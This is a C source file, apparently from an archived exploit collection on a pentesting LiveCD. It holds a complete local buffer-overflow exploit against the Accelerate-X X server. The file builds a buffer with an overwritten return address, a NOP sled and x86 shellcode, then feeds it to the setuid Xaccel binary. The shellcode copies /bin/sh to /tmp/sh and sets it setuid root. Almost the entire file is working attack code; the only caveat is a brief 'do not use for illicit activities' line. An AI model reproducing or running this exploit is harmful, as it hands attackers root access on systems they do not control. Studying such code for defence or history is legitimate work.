home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / xwin / SDIaccelX.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  79 lines

  1. /*
  2.  * SDI linux exploit for Accelerate-X
  3.  * Sekure SDI - Brazilian Information Security Team
  4.  * by c0nd0r <condor@sekure.org>
  5.  *
  6.  * This script will exploit a vulnerability found by KSRT team
  7.  * in the Accelerate-X Xserver [<=5.0].
  8.  *
  9.  * --------------------------------------------------------------------
  10.  * The vulnerable buffer was small so we've changed the usual order to:
  11.  * [garbage][eip][lots nop][shellcode]
  12.  * BTW, I've also changed the code to execute, it will create a setuid
  13.  * shell owned by the superuser at /tmp/sh.
  14.  * --------------------------------------------------------------------
  15.  *
  16.  * Warning: DO NOT USE THIS TOOL FOR ILICIT ACTIVITIES! We take no
  17.  *          responsability.
  18.  *
  19.  * Greets to jamez, bishop, bahamas, stderr, dumped, paranoia,
  20.  *           marty (NORDO!), vader, fcon, slide, c_orb and
  21.  *         specially to my sasazita. Also toxyn.org, pulhas.org,
  22.  *         superbofh.org (Phibernet rox) and el8.org.
  23.  *
  24.  * Laughs - lame guys who hacked the senado/planalto.gov.br
  25.  * pay some attention to the site: securityfocus.com (good point).
  26.  * see you at #uground (irc.brasnet.org)
  27.  */
  28.  
  29. #include <stdio.h>
  30.  
  31. /* generic shellcode */
  32. char shellcode[] =
  33.   "\xeb\x31\x5e\x89\x76\x32\x8d\x5e\x08\x89\x5e\x36"
  34.   "\x8d\x5e\x0b\x89\x5e\x3a\x31\xc0\x88\x46\x07\x88"
  35.   "\x46\x0a\x88\x46\x31\x89\x46\x3e\xb0\x0b\x89\xf3"
  36.   "\x8d\x4e\x32\x8d\x56\x3e\xcd\x80\x31\xdb\x89\xd8"
  37.   "\x40\xcd\x80\xe8\xca\xff\xff\xff"
  38.   "/bin/sh -c cp /bin/sh /tmp/sh; chmod 6755 /tmp/sh";
  39.  
  40. main ( int argc, char *argv[] )
  41. {
  42.   char buf[1024];
  43.   int x, y, offset=1000;
  44.   long addr;
  45.   int joe;
  46.  
  47.   if (argc > 1)
  48.     offset = atoi ( argv[1]);
  49.  
  50.   /* return address */
  51.   addr = (long) &joe + offset;
  52.  
  53.   buf[0] = ':';
  54.   for ( x = 1; x < 53; x++)
  55.     buf[x] = 'X';
  56.  
  57.   buf[x++] = (addr & 0x000000ff);
  58.   buf[x++] = (addr & 0x0000ff00) >> 8;
  59.   buf[x++] = (addr & 0x00ff0000) >> 16;
  60.   buf[x++] = (addr & 0xff000000) >> 24;
  61.  
  62.   for (  ; x < 500; x++)
  63.     buf[x] = 0x90;
  64.  
  65.   for ( y = 0; y < strlen(shellcode); y++, x++)
  66.     buf[x] = shellcode[y];
  67.  
  68.   fprintf (stderr, "\nSDI Xaccel - Offset: %d | Addr: 0x%x\n\n",
  69.            offset, addr);
  70.  
  71.   buf[strlen(buf)] = '\0';
  72.  
  73.   execl ( "/usr/X11R6/bin/Xaccel", "Xaccel", buf, (char *)0);
  74.  
  75.   // setenv ( "EGG", buf, 1);
  76.   // system ( "/bin/sh");
  77.  
  78. }
  79. /*                    www.hack.co.za              [2000]*/